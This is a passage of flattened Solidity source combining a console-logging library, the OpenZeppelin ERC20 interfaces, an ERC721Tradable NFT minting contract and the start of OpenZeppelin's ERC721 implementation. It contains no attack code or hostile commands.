p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ERC721Enumerable, Ownable { using Strings for string; using SafeMath for uint256; address proxyRegistryAddress; uint256 public MAX_SUPPLY; address factoryAddress; uint256 private _currentTokenId = 0; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { MAX_SUPPLY = 10000; proxyRegistryAddress = _proxyRegistryAddress; } // todo ipfs hash might be removed /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(address _to) public onlyOwner { require(totalSupply() <= MAX_SUPPLY, "Purchase would exceed max supply"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } function factoryMint(address _to) public { require(factoryAddress == _msgSender(), "Ownable: caller is not the factory!"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } function setFactoryAddress(address _factoryAddress) public onlyOwner { factoryAddress = _factoryAddress; } /** * @dev calculates the next token ID based on value of _currentTokenId * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _currentTokenId.add(1); } /** * @dev increments the value of _currentTokenId */ function _incrementTokenId() private { _currentTokenId++; } function baseTokenURI() virtual public pure returns (string memory); function tokenURI(uint256 _tokenId) override public pure returns (string memory) { return string(abi.encodePacked(baseTokenURI(), uint2str(_tokenId), ".json")); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function burn(uint256 _tokenId) public { require(ownerOf(_tokenId) == _msgSender()); _burn(_tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private 